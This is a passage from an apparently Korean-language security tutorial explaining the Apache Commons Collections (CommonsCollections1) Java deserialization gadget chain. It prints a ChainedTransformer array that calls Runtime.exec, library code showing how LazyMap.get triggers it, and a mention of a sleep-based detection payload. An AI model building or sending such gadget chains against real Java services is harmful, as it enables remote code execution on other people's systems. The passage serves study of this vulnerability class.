String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
코드를 읽어보면 배열의 변환을 어떻게든 연결하면 임의의 명령을 실행할 수 있다는 것을 알 수 있습니다.
마지막 섹션에서 Map 객체가 생성됩니다. 그런 다음, LazyMap에서 맵 객체와 체인된 변환기를 사용하여 decorate 함수가 실행됩니다. 다음 코드를 통해 체인된 변환기가 lazyMap.factory 속성 안에 복사되는 것을 확인할 수 있습니다:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
그리고 마지막 대미를 장식하는 것은 실행된다: lazyMap.get("anything");
이것은 get 함수의 코드이다:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
그리고 이것은 transform 함수의 코드입니다.
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
그래서, factory 안에 **chainedTransformer**를 저장했음을 기억하세요. 그리고 transform 함수 안에서 우리는 모든 체인된 변환기를 순회하며 하나씩 실행하고 있습니다. 재미있는 점은 각 변환기가 object를 입력으로 사용하고object는 마지막으로 실행된 변환기에서 출력됩니다. 따라서 모든 변환이 악의적인 페이로드를 체인으로 실행하고 있습니다.
요약
결국, lazyMap이 get 메서드 안에서 체인된 변환기를 관리하는 방식 때문에, 마치 우리가 다음 코드를 실행하는 것과 같습니다:
Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see here that ysoserial, in order to execute this payload, uses an AnnotationInvocationHandler object because when this object gets deserialized, it will invoke the payload.get() function that will execute the whole payload.
Java Thread Sleep
이 페이로드는 웹이 취약한지 식별하는 데 유용할 수 있습니다. 취약하다면 슬립을 실행할 것입니다.